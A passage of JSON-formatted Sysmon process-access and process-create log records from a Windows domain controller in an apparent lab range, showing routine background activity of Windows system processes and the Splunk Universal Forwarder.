11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nTargetProcessId: 664\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","TargetProcessId":"664","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.394\r\nProcessGuid: {90617006-407B-5F2D-0000-001077170500}\r\nProcessId: 2900\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.394","ProcessGuid":"{90617006-407B-5F2D-0000-001077170500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001077170500}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001077170500}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001077170500}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001077170500}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 